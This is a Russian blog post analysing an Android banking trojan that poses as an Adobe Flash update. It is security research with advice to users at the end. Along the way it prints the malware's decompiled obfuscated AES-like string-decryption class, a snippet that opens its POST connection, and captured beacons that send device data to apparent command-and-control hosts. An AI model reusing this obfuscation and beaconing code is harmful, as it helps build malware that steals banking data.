Исследование андроид-вируса

от автора

Всем привет. Недавно мне valdikss рассказал об андроид-вирусе, который может немало навредить пользователю, если он недостаточно внимателен. Мне захотелось узнать его внутренности, т.к. более или менее в последнее время занимаюсь ресерчем андроид приложений, но вирусы никогда еще не исследовал. До его рассмотрения, мне сразу бросилось в глаза название файла — android_update-1.apk. Первым делом делаю то, что делает каждый андроид ресерчер — распаковывает его dex2jar-ом (ну и параллельно можно посмотреть WinRAR-ом список файлов).

dex2jar

Когда я распаковал файл dex2jar-ом у меня получился красивый jar. Я обрадовался и кинулся смотреть его в JD-GUI.

image

Но, к сожалению, JD-GUI не смог полностью декомпильнуть получившийся файл, зато в самом конце файла были интересные строки.

image

Тут 2 варианта: либо вирус «китайского происхождения», либо ошибка кодировки. Думаю, пока рано делать выводы.

WinRAR

Как известно, APK — формат архивных исполняемых файлов-приложений для Android. Список файлов, которые входят в APK-архив, можно с легкостью просмотреть WinRAR-ом, что я и сделал.

image

На первый взгляд ничего особенного, но я знаю, что в папке assets разработчики хранят локальные файлы — html страницы, картинки, ну, в общем, локальные ресурсы, которые можно дергать из приложения.

image

Там я нашел файл classes.dex. Classes.dex — контейнер который, если мы распакуем, получим (если повезет) исходный код приложения под Android. По стандарту, файл classes.dex должен начинаться следующими байтами:

465780a30333500

Что в ASCII — dex.035.
Но файл assets\classes.dex начинался так:

117c4bfe7ef19880

Явно зашифровано. Уже начинает проявляться логика работы зловреда. Когда мы скачиваем на смартфон и запускаем apk, он устанавливается, дергает из своих ресурсов файл classes.dex, расшифровывает, (по логике) получает какой то новый аpk, который и выполняет свою основную функцию.

Чтобы полностью понять как все работает, надо посмотреть действие зловреда в динамике. На реальном устройстве запускать — самоубийство. В качестве эмулятора я взял Genymotion, его преимущества как эмулятора описывать не буду, все здесь написано. Также, вместе с Genymotion, я использую Android Studio (в дальнейшем AS) 1.2 (нет слов, чтобы описать его слаженную работу). Когда мы запускаем Android Studio и Genymotion, они связываются с помощью adb. В Android Studio удобно смотреть лог работы приложения, в данном случае зловреда.

Установка apk привела к странной ошибке:

image

Я подумал: «все, зловред упал, вряд ли он запустится». Нажал на OK. Я частично знал, как он должен работать, так что перешел в Settings -> Security -> Device administrators и увидел, что он как раз заработал так, как надо, прописал уже себя в администраторах, заметите, он меня не спросил: «Ты согласен установить это приложение? Оно будет использовать такие-то права.», ну, как все приложения.

Если мы попытаемся удалить его из администраторов (нажав на checkbox, он отмечен красным), то вылезет окно:

После нажатия на кнопку деактивации нас ждет сюрприз — приложение невозможно удалить.

Окейййй. Посмотрим сетевой трафик, вдруг он что-то куда-то шлет. В эмуляторе, на WiFi соединение, поставим прокси и перезагрузим эмулятор. Так я и думал — есть и сетевая активность

POST http://abra-k0dabra.com/magic/gate.php?a=1&b=000000000000000&c=Android&d=us&e=15555215554&f=0.1&g=4.1.1&prefix=pussy HTTP/1.1 Content-Length: 0 Host: abra-k0dabra.com Connection: Keep-Alive

И

POST http://avtesterr.com/venussa/gate.php?a=1&b=000000000000000&c=Android&d=us&e=15555215554&f=0.1&g=4.1.1&prefix=pussy HTTP/1.1 Content-Length: 0 Host: avtesterr.com Connection: Keep-Alive

тело в POST-запросе пустое.

Откроем logcat в AS и посмотрим, вдруг это приложение что-то записывает в логах. Нам везет:

04-09 13:18:04.703    8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DexOpt: --- BEGIN 'new.apk' (bootstrap=0) --- 04-09 13:18:04.719    8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DexOpt: --- END 'new.apk' (success) --- 04-09 13:18:04.719    8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DEX prep '/data/data/com.adobe.jaguar/app_dex/new.apk': unzip in 0ms, rewrite 13ms 04-09 13:18:04.739    8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DexOpt: --- BEGIN 'new.apk' (bootstrap=0) --- 04-09 13:18:04.771    8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DexOpt: --- END 'new.apk' (success) --- 04-09 13:18:04.771    8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DEX prep '/data/data/com.adobe.jaguar/app_dex/new.apk': unzip in 1ms, rewrite 34ms 04-09 13:19:34.487    3061-3061/com.adobe.jaguar D/﹕ HostConnection::get() New Host Connection established 0xb8420b50, tid 3061

Вот что получается — зловред берет из ресурсов файл assets/classes.dex, расшифровывает, записывает в /data/data/com.adobe.jaguar/app_dex/new.apk.

Так. Чтобы теперь узнать, каков его основной фунционал, нам надо поймать файл new.apk. Устанавливаем total commander на андроид и переходим в /data/data/com.adobe.jaguar/app_dex/. Папка оказалось пустой, после запуска new.apk файл удаляется. Возник вопрос: как получить его? Сначала подумывал, не написать ли мне приложение под андроид, которое в цикле следит за папкой /data/data/com.adobe.jaguar/app_dex/ и когда зловред снова создаст этот файл, мое приложение скопирует его, и я наконец узнаю что, оно делает на самом деле. Хорошо, что я в некоторых вопросах ленивый. Немного подумав, решил поэкспериментировать над правами папки /data/data/com.adobe.jaguar/app_dex/, и тут тоже повезло — он создал файл new.apk и упал.

Копируем new.apk из андроид, распаковываем dex2jar-ом и декомпилируем с помощью JD-GUI.

Опять иероглифы… Я решил открыть получившийся файл luyten-ом, мало ли, вдруг JD-GUI не может что-то правильно декомпильнуть.

.
Да, я был прав, это не иероглифы, а зашифрованный текст, нашел функцию которая занимается расшифровкой, но из всего apk только этот класс был обфусцирован, luyten тоже упал на нем. Есть еще один декомпилер — DJ Java Decompiler, у него туго с графикой, поэтому я его использую только для просмотра отдельных классов, а не всего проекта. Он, как бы, смог декомпильнуть, но, к сожалению, я не смог понять, как именно идет расшифровка.

Класс который отвечает за расшифровку (буду рад если взгляните на код, с первого взгляда AES, но не факт):

Класс расшифровки

// Decompiled by DJ v3.12.12.96 Copyright 2011 Atanas Neshkov  Date: 09.04.2015 17:11:59 // Home Page: http://members.fortunecity.com/neshkov/dj.html  http://www.neshkov.com/dj.html - Check often for new version! // Decompiler options: packimports(3)   package com.adobe.cfg;  import android.content.Context; import android.content.SharedPreferences; import java.lang.reflect.Method;  public class h {      private static final int a(int i, int j)     {         int _tmp = j + i >> 24;         return i >>> j | i << -j;     }      private static final int a(byte abyte0[], int i)     {         int j;         byte byte0;         j = abyte0[14] << 16;         byte0 = 0; _L6:         byte byte1 = 0;         if(byte0 != 0) goto _L2; else goto _L1 _L1:         int l;         byte0 = 3;         l = i & 0xff;         int i1;         byte byte3;         i1 = 0xff & abyte0[l] | (0xff & abyte0[0xff & i >> 8]) << 8 | (0xff & abyte0[0xff & i >> 16]) << 16;         byte3 = abyte0[0xff & i >> 24];         j = i1 | byte3 << 24; _L4:         return j;         Exception exception;         exception; _L2:         if(byte1 != 0) goto _L4; else goto _L3 _L3:         int k;         byte1 = 2;         k = i & 0x7f;         byte byte2 = abyte0[k];         return byte2 >> 8;         Exception exception1;         exception1;         if(true) goto _L6; else goto _L5 _L5:     }      static final String a(String s)     {         int ai1[];         int ai2[];         int ai3[];         int ai4[];         int ai5[];         byte abyte0[];         char ac[];         int j1;         int k1;         int l1;         int i2;         boolean flag;         if(a == null)             a();         Object aobj[] = (Object[])(Object[])((Method)a[8]).invoke(((Method)a[7]).invoke(null, null), null);         StringBuilder stringbuilder = new StringBuilder();         stringbuilder.append(((Method)a[10]).invoke(aobj[((Integer)a[12]).intValue()], null));         int i = stringbuilder.append(((Method)a[11]).invoke(aobj[((Integer)a[12]).intValue()], null)).toString().hashCode();         int ai[] = (int[])(int[])a[6];         int j = i ^ ai[0];         int k = i ^ ai[1];         int l = i ^ ai[2];         int i1 = i ^ ai[3];         ai1 = (int[])(int[])a[5];         ai2 = (int[])(int[])a[1];         ai3 = (int[])(int[])a[2];         ai4 = (int[])(int[])a[3];         ai5 = (int[])(int[])a[4];         abyte0 = (byte[])(byte[])a[0];         ac = (char[])(char[])((Method)a[9]).invoke(s, null);         j1 = l;         k1 = k;         l1 = j;         i2 = i1;         flag = false; _L16:         if(flag) goto _L2; else goto _L1 _L1:         int j2 = ac.length;         int k2 = 0; _L17:         if(k2 >= j2) goto _L2; else goto _L3 _L3:         if(k2 % 8 != 0)             break MISSING_BLOCK_LABEL_1336;         int l2;         int i3;         int j3;         int k3;         l2 = l1 ^ ai1[0];         i3 = k1 ^ ai1[1];         j3 = j1 ^ ai1[2];         k3 = i2 ^ ai1[3];         int l3 = 4; _L5:         if(l3 >= 36)             break; /* Loop/switch isn't completed */         int i4;         int j4;         int k4;         int l4;         i4 = ai2[0xff & l2] ^ ai3[0xff & i3 >> 8] ^ ai4[0xff & j3 >> 16] ^ ai5[k3 >>> 24] ^ ai1[l3];         j4 = ai2[i3 & 0xff] ^ ai3[0xff & j3 >> 8] ^ ai4[0xff & k3 >> 16] ^ ai5[l2 >>> 24] ^ ai1[l3 + 1];         k4 = ai2[j3 & 0xff] ^ ai3[0xff & k3 >> 8] ^ ai4[0xff & l2 >> 16] ^ ai5[i3 >>> 24] ^ ai1[l3 + 2];         l4 = ai2[k3 & 0xff] ^ ai3[0xff & l2 >> 8] ^ ai4[0xff & i3 >> 16] ^ ai5[j3 >>> 24] ^ ai1[l3 + 3];         int i5 = l3 + 4;         l2 = ai2[i4 & 0xff] ^ ai3[0xff & j4 >> 8] ^ ai4[0xff & k4 >> 16] ^ ai5[l4 >>> 24] ^ ai1[i5];         i3 = ai2[j4 & 0xff] ^ ai3[0xff & k4 >> 8] ^ ai4[0xff & l4 >> 16] ^ ai5[i4 >>> 24] ^ ai1[i5 + 1];         j3 = ai2[k4 & 0xff] ^ ai3[0xff & l4 >> 8] ^ ai4[0xff & i4 >> 16] ^ ai5[j4 >>> 24] ^ ai1[i5 + 2];         k3 = ai2[l4 & 0xff] ^ ai3[0xff & i4 >> 8] ^ ai4[0xff & j4 >> 16] ^ ai5[k4 >>> 24] ^ ai1[i5 + 3];         l3 = i5 + 4;         if(true) goto _L5; else goto _L4 _L4:         int j5;         int k5;         int l5;         int i6;         j5 = ai2[0xff & l2] ^ ai3[0xff & i3 >> 8] ^ ai4[0xff & j3 >> 16] ^ ai5[k3 >>> 24] ^ ai1[l3];         k5 = ai2[i3 & 0xff] ^ ai3[0xff & j3 >> 8] ^ ai4[0xff & k3 >> 16] ^ ai5[l2 >>> 24] ^ ai1[l3 + 1];         l5 = ai2[j3 & 0xff] ^ ai3[0xff & k3 >> 8] ^ ai4[0xff & l2 >> 16] ^ ai5[i3 >>> 24] ^ ai1[l3 + 2];         i6 = ai2[k3 & 0xff] ^ ai3[0xff & l2 >> 8] ^ ai4[0xff & i3 >> 16] ^ ai5[j3 >>> 24] ^ ai1[l3 + 3];         int j6 = l3 + 4;         int k6;         int l6;         l1 = 0xff & abyte0[j5 & 0xff] ^ (0xff & abyte0[0xff & k5 >> 8]) << 8 ^ (0xff & abyte0[0xff & l5 >> 16]) << 16 ^ abyte0[i6 >>> 24] << 24 ^ ai1[j6 + 0];         k1 = 0xff & abyte0[k5 & 0xff] ^ (0xff & abyte0[0xff & l5 >> 8]) << 8 ^ (0xff & abyte0[0xff & i6 >> 16]) << 16 ^ abyte0[j5 >>> 24] << 24 ^ ai1[j6 + 1];         j1 = 0xff & abyte0[l5 & 0xff] ^ (0xff & abyte0[0xff & i6 >> 8]) << 8 ^ (0xff & abyte0[0xff & j5 >> 16]) << 16 ^ abyte0[k5 >>> 24] << 24 ^ ai1[j6 + 2];         k6 = 0xff & abyte0[i6 & 0xff] ^ (0xff & abyte0[0xff & j5 >> 8]) << 8 ^ (0xff & abyte0[0xff & k5 >> 16]) << 16 ^ abyte0[l5 >>> 24] << 24;         l6 = ai1[j6 + 3];         i2 = l6 ^ k6;         byte byte0 = 0; _L18:         if(byte0 != 0) goto _L7; else goto _L6 _L6:         byte0 = 3;         k2 % 8;         JVM INSTR tableswitch 0 7: default 1566     //                   0 1400     //                   1 1420     //                   2 1437     //                   3 1457     //                   4 1474     //                   5 1494     //                   6 1511     //                   7 1531;            goto _L7 _L8 _L9 _L10 _L11 _L12 _L13 _L14 _L15 _L8:         ac[k2] = (char)(l1 >> 16 ^ ac[k2]);           goto _L7 _L9:         ac[k2] = (char)(l1 ^ ac[k2]);           goto _L7 _L10:         ac[k2] = (char)(k1 >> 16 ^ ac[k2]);           goto _L7 _L11:         ac[k2] = (char)(k1 ^ ac[k2]);           goto _L7 _L12:         ac[k2] = (char)(j1 >> 16 ^ ac[k2]);           goto _L7 _L13:         ac[k2] = (char)(j1 ^ ac[k2]);           goto _L7 _L14:         ac[k2] = (char)(i2 >> 16 ^ ac[k2]);           goto _L7 _L15:         ac[k2] = (char)(i2 ^ ac[k2]);           goto _L7 _L2:         return new String(ac);         Throwable throwable;         throwable;         flag = true;           goto _L16 _L7:         k2++;           goto _L17         Throwable throwable1;         throwable1;           goto _L18     }      public static String a(String s, String s1, Context context)     {         return context.getSharedPreferences(s, 4).getString(s1, null);     }      private static final void a()     {         int ai[];         byte abyte0[];         int ai1[];         int ai2[];         int ai3[];         int ai4[];         int ai5[];         byte byte0;         ai = new int[256];         abyte0 = new byte[256];         ai1 = new int[256];         ai2 = new int[256];         ai3 = new int[256];         ai4 = new int[256];         ai5 = new int[30];         int i = 0;         int j = 1;         for(; i < 256; i++)         {             ai[i] = j;             j ^= j << 1 ^ 283 * (j >>> 7);         }          abyte0[0] = 99;         byte0 = 0; _L18:         if(byte0 != 0) goto _L2; else goto _L1 _L1:         int j3 = 0; _L4:         int i5;         if(j3 >= 255)             break; /* Loop/switch isn't completed */         i5 = 255 - j3;         int j5 = ai[i5];         int k5 = j5 | j5 << 8;         abyte0[ai[j3]] = (byte)(0x63 ^ (k5 ^ (k5 >> 4 ^ k5 >> 5 ^ k5 >> 6 ^ k5 >> 7)));         j3++;         if(true) goto _L4; else goto _L3 _L5:         int k3;         if(k3 >= 256)             break MISSING_BLOCK_LABEL_6536;         int l3 = 0xff & abyte0[k3];         int j4;         int i4 = l3 << 1 ^ 283 * (l3 >>> 7);         j4 = -1 & (i4 ^ ((l3 ^ i4) << 24 ^ l3 << 16 ^ l3 << 8));         ai1[k3] = j4;         ai2[k3] = j4 << 8 | j4 >>> -8;         ai3[k3] = j4 << 16 | j4 >>> -16;         ai4[k3] = j4 << 24 | j4 >>> -24;         k3++;           goto _L5 _L7:         int l4;         if(l4 >= 30) goto _L2; else goto _L6 _L6:         int k4;         ai5[l4] = k4;         k4 = k4 << 1 ^ 283 * (k4 >>> 7);         l4++;           goto _L7 _L2:         byte abyte1[];         byte abyte2[];         byte abyte3[];         int k;         abyte1 = new byte[16];         abyte2 = (new byte[] {             -43, 29, -111, 88, -115, 77, 34, 28, -101, 103,              85, 104, 109, 124, -104, -72, -18, 125, -60, 43,              -49, 101, 37, 15, 126, 29, -14, -89, -22, 99,              -76, 50, 45, 36, 71, 52, 54, 63, -47, -110,              -30, 83, -76, 80, -105, -53, 53, 96, 9, -93,              10, -54, -64, -96, 123, 113, -112, 25, -68, -108,              13, -24, -115, 77, 28, 63, 4, -98, 21, -122,              -3, 60, 88, -90, -26, -46, -85, 55, -118, -58,              16, -67, 37, 71, 55, -77, 82, -15, 6, 102,              -78, 102, 66, -74, -33, 88, -114, -123, 56, 47,              -18, 104, 26, 17, -97, -16, -4, 8, 108, -95,              -103, 46, 79, -81, -35, -57, 18, 15, 81, -17,              41, -24, 16, 35, 66, -109, 6, 15, 109, 41,              -19, 122, -59, -34, -38, -104, 20, 51, -69, -58,              119, -59, 23, 12, 35, 6, -76, 51, -41, -35,              99, 69, 117, -91, -92, 104, -80, -42, -83, -5,              -106, -116, 118, 102, 125, 104, 115, 54, 24, -109,              121, 1, -35, -4, -115, -48, 15, -10, -6, -34,              108, -70, 17, 97, -35, -111, 58, 101, 30, 101,              120, -32, 22, -46, -86, -19, -102, 85, 114, -124,              -80, 14, -54, -67, -46, -83, 2, -120, 93, 22,              125, 83, -94, 64, 48, -91, -35, 39, 124, -69,              -17, 114, -72, -100, -113, -28, 33, -21, -66, 71,              76, 84, 0, 51, -84, -20, 32, -75, 76, -86,              -96, 9, 42, -56, -74, -99, -42, -16, 19, -123,              -44, 85, 1, 9, 117, -43         });         abyte3 = (new byte[] {             -123, 111, 49, -125, 114, -78, -100, 115, -64, 12,              -13, 92, -112, 46, -70, 9, 47, 2, -102, 112,              -70, -71, -56, 94, -21, 83, -102, 49, -120, 75,              53, -38, -65, -14, 78, 111, -60, 46, 108, 77,              -21, 119, 102, 48, 40, -68, 16, -126, 96, 28,              84, 95, -46, -84, -4, -110, -35, -124, -14, 93,              -114, -73, 43, 112, -3, 102, -127, -47, 15, -90,              100, -11, 26, 102, -119, -82, -50, -16, -53, 79,              27, -30, 73, 12, 28, -72, -46, -27, 68, -59,              -52, -66, -54, 42, 64, -13, 79, -86, 91, -61,              -52, -51, 57, 121, 67, -70, -112, -74, -87, 35,              67, 33, -92, 58, 2, -37, 127, 11, 49, 19,              -59, 33, -106, 83, 45, -52, 39, 60, -42, -80,              -89, -47, -68, -124, 90, -74, -23, 81, 68, -112,              -41, -20, -55, -38, -16, 48, -33, -82, 109, -81,              78, 52, -112, -121, -44, 23, 107, 37, -65, 22,              22, -4, -37, -63, -124, -41, 45, 96, -93, -104,              81, 79, -11, -72, 78, -55, 110, -93, 15, 72,              60, -27, -84, 126, 114, 68, 102, -55, 38, -98,              -87, 45, 36, 75, -15, -55, 7, 100, 114, -39,              -1, 119, -87, -102, -79, 76, 93, -56, 9, -100,              -33, -65, -55, 70, 43, -125, 24, 124, -73, -46,              92, -121, 101, 122, -41, -11, 109, -52, 63, 65,              -65, -87, -107, 112, -74, -63, 70, -78, -37, 0,              85, -7, -82, -92, 34, -24, -75, -18, -44, 38,              68, 49, 76, 50, 123, -105         });         k = 0; _L21:         if(k != 0) goto _L9; else goto _L8 _L8:         k++;         abyte1[0] = abyte2[0xff & abyte3[138]];         abyte1[1] = abyte2[0xff & abyte3[115]];         abyte1[2] = abyte2[0xff & abyte3[203]];         abyte1[3] = abyte2[0xff & abyte3[169]];         abyte1[4] = abyte2[0xff & abyte3[225]];         abyte1[5] = abyte2[0xff & abyte3[93]];         abyte1[6] = abyte2[0xff & abyte3[154]];         abyte1[7] = abyte2[0xff & abyte3[214]];         abyte1[8] = abyte2[0xff & abyte3[205]];         abyte1[9] = abyte2[0xff & abyte3[191]];         abyte1[10] = abyte2[0xff & abyte3[43]];         abyte1[11] = abyte2[0xff & abyte3[149]];         abyte1[12] = abyte2[0xff & abyte3[101]];         abyte1[13] = abyte2[0xff & abyte3[245]];         abyte1[14] = abyte2[0xff & abyte3[221]];         abyte1[15] = abyte2[0xff & abyte3[57]]; _L16:         int ai6[];         int l;         ai6 = new int[44];         l = 0; _L19:         if(l != 0) goto _L11; else goto _L10 _L10:         int j1;         int k1;         int l1;         j1 = l + 3;         k1 = 0;         l1 = 0; _L15:         int i2 = 0; _L20:         if(i2 != 0) goto _L13; else goto _L12 _L12:         i2 += 3;         if(l1 >= 16) goto _L13; else goto _L14 _L14:         int i3 = 3 & k1 + 4 * (k1 >> 2);         ai6[i3] = 0xff & abyte1[l1] | (0xff & abyte1[l1 + 1]) << 8 | (0xff & abyte1[l1 + 2]) << 16 | abyte1[l1 + 3] << 24;         l1 += 4;         k1++;           goto _L15 _L9:         abyte1[8] = abyte2[0xff & abyte3[205]];         abyte1[9] = abyte2[0xff & abyte3[191]];         abyte1[10] = abyte2[0xff & abyte3[43]];         abyte1[11] = abyte2[0xff & abyte3[149]];         abyte1[12] = abyte2[0xff & abyte3[101]];         abyte1[13] = abyte2[0xff & abyte3[245]];         abyte1[14] = abyte2[0xff & abyte3[221]];         abyte1[15] = abyte2[0xff & abyte3[57]];           goto _L16         Throwable throwable;         throwable;         abyte1[8] = abyte2[0xff & abyte3[205]];         abyte1[9] = abyte2[0xff & abyte3[191]];         abyte1[10] = abyte2[0xff & abyte3[43]];         abyte1[11] = abyte2[0xff & abyte3[149]];         abyte1[12] = abyte2[0xff & abyte3[101]];         abyte1[13] = abyte2[0xff & abyte3[245]];         abyte1[14] = abyte2[0xff & abyte3[221]];         abyte1[15] = abyte2[0xff & abyte3[57]];         throw throwable; _L13:         int j2 = 4; _L17:         int k2;         if(j2 >= 44)             break; /* Loop/switch isn't completed */         k2 = 4 * (j2 - 1 >> 2) + (3 & j2 - 1);         int l2 = ai6[k2];         if(j2 % 4 != 0)             break MISSING_BLOCK_LABEL_4507;         l2 = a(abyte0, a(l2, 8)) ^ ai5[-1 + j2 / 4];         ai6[4 * (j2 >> 2) + (j2 & 3)] = l2 ^ ai6[4 * (j2 - 4 >> 2) + (3 & j2 - 4)];         j2++;         if(true) goto _L17; else goto _L11 _L11:         int ai7[] = {             0xe0d51d94, 0x879e5437, 0x27b86eae, 0x222ba2fb         };         Object aobj[] = new Object[13];         aobj[0] = abyte0;         aobj[1] = ai1;         aobj[2] = ai2;         aobj[3] = ai3;         aobj[4] = ai4;         aobj[5] = ai6;         aobj[6] = ai7;         char ac[] = {             '?', '~', '\007', '\271', '\uFFBB', '\271', '\203', '\212', '\002', '\225',              '\251', '\320', '\337', '\341', '\uFFF9', '\034', 'Q', '\362', '6', '\235',              '4', '\323', '\231', 'c', '\346', '\217', 'W', '\b', 'N', '\312',              '\031', '\246', '\200', '\230', '\250', '\227', '\241', '\223', 'C', '\uFFF3',              'E', '\270', '\036', '\261', '\r', ',', 'c', '\314', 'j', '\021',              'q', '\uFFF8', '\023', '\024', '\355', '\332', '\uFFFE', '\200', '0', '\003',              'P', 'P', '\uFFEE', '\277', ']', '\261', 'v', '\uFFFF', '\216', '\uFFF0',              '^', '\262', '\271', '\uFFD4', 'R', '3', '\031', '\236', '\uFFB8', '\031',              '\204', '\036', '\210', '\262', '\213', '%', '\263', 'T', 'k', '\253',              '\036', '\313', '\257', '\033', 'M', '\314', '\uFFF5', '\uFFEA', '\254', 'r',              'Z', '\311', '\215', '\204', '\uFFED', 'Q', 'i', 'm', '\323', '\006',              '\r', '{', '\264', '#', 'E', '6', 'v', ']', '\262', '\\',              '\216', 'I', '~', '\207', '\264', '\002', 'o', 's', '\233', '\230',              '`', '\250', '\030', 'W', 'M', '\f', 'y', '\240', '\013', '8',              '\346', '5', '|', '~', '\227', 'o', '\031', '\246', '>', 'B',              '\327', '\265', '\332', '\027', '\027', '\321', '#', 'J', '\uFFDB', 'n',              '\017', '\uFFFF', '\244', '\312', '\336', '\324', '\351', '\237', '\203', '\uFFC1',              '\357', 'n', '\013', 'h', '\uFFF6', '2', 'p', 'd', '^', 'P',              '\333', '#', 'u', '\217', 'L', '\004', 'h', '\247', '\223', '\316',              '\344', 'D', 'i', '\027', '\uFFFC', '6', '\uFFDB', '\241', '\334', '\uFFE5',              '&', 'o', '\uFFF8', ')', '3', '\033', 'i', '\uFFB6', '\260', '\212',              '\357', '\274', '\020', '\247', '\230', '\006', 'P', '\217', '\277', '*',              'S', '\327'         };         for(int i1 = 0; i1 < ac.length; i1++)             ac[i1] = (char)(ac[i1] - abyte2[i1 % abyte2.length]);          aobj[7] = Class.forName(String.valueOf(ac, 0, 16)).getMethod(String.valueOf(ac, 16, 13), null);         aobj[8] = Class.forName(String.valueOf(ac, 0, 16)).getMethod(String.valueOf(ac, 29, 13), null);         aobj[9] = Class.forName(String.valueOf(ac, 42, 16)).getMethod(String.valueOf(ac, 58, 11), null);         aobj[10] = Class.forName(String.valueOf(ac, 69, 27)).getMethod(String.valueOf(ac, 96, 12), null);         aobj[11] = Class.forName(String.valueOf(ac, 69, 27)).getMethod(String.valueOf(ac, 108, 13), null);         Class class1 = Class.forName(String.valueOf(ac, 121, 27));         String s = String.valueOf(ac, 148, 3);         Class aclass[] = new Class[1];         aclass[0] = Class.forName(String.valueOf(ac, 42, 16));         Method method = class1.getMethod(s, aclass);         Object aobj1[] = new Object[1];         aobj1[0] = String.valueOf(ac, 151, 25);         String s1 = (String)method.invoke(null, aobj1);         byte byte1;         Exception exception;         Exception exception1;         Exception exception2;         Exception exception3;         if(s1 != null && s1.hashCode() == 0x145eec8c && android.os.Build.VERSION.SDK_INT < 21)             byte1 = 4;         else             byte1 = 5;         aobj[12] = Integer.valueOf(byte1);         a = aobj;         return;         exception3;         byte0 = 2;           goto _L18         exception;         l = j1;           goto _L19         exception1;           goto _L20         exception2;           goto _L21 _L3:         k3 = 0;           goto _L5         k4 = 1;         l4 = 0;           goto _L7     }      public static void a(String s, String s1, String s2, Context context)     {         android.content.SharedPreferences.Editor editor = context.getSharedPreferences(s, 4).edit();         editor.putString(s1, s2);         editor.commit();     }      private static transient Object a[]; }  

Нам уже из сетевой активности известно, что по сети передаются POST-запросы, так что этот код отправит POST-запрос:

final HttpURLConnection httpURLConnection = (HttpURLConnection)new URL(s).openConnection();                 httpURLConnection.setDoInput(true);                 httpURLConnection.setDoOutput(true);                 httpURLConnection.setUseCaches(false);                 httpURLConnection.setRequestMethod(h.a("\ub957\uf4ce\ubf7b\ueadc"));                 httpURLConnection.setConnectTimeout(60000);                  

"\ub957\uf4ce\ubf7b\ueadc" — «POST».

В некоторых участках кода я увидел функции, в именах которых есть слово из 4-х букв — «bank».

Теперь у нас есть полная картина, этот зловред — банковский троян, который маскируется под андроид апдейт для Adobe Flash Player. После установки создает сервисы com.adobe.jaguar:jaguar_bf и com.adobe.jaguar:jaguar_obs. Сканируют файловую систему (в теле new.apk нашел код) на предмет установленных программ банк-клиентов, если находит их, то читает файлы из папки shared_prefs и отправляет злоумышленнику.

Мораль:
1. Не устанавливайте root и банк-клиент на одном устройстве
2. Не доверяйте приложениям, скачанными из сторонних магазинов

Спасибо за внимание.

ссылка на оригинал статьи http://habrahabr.ru/post/255417/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *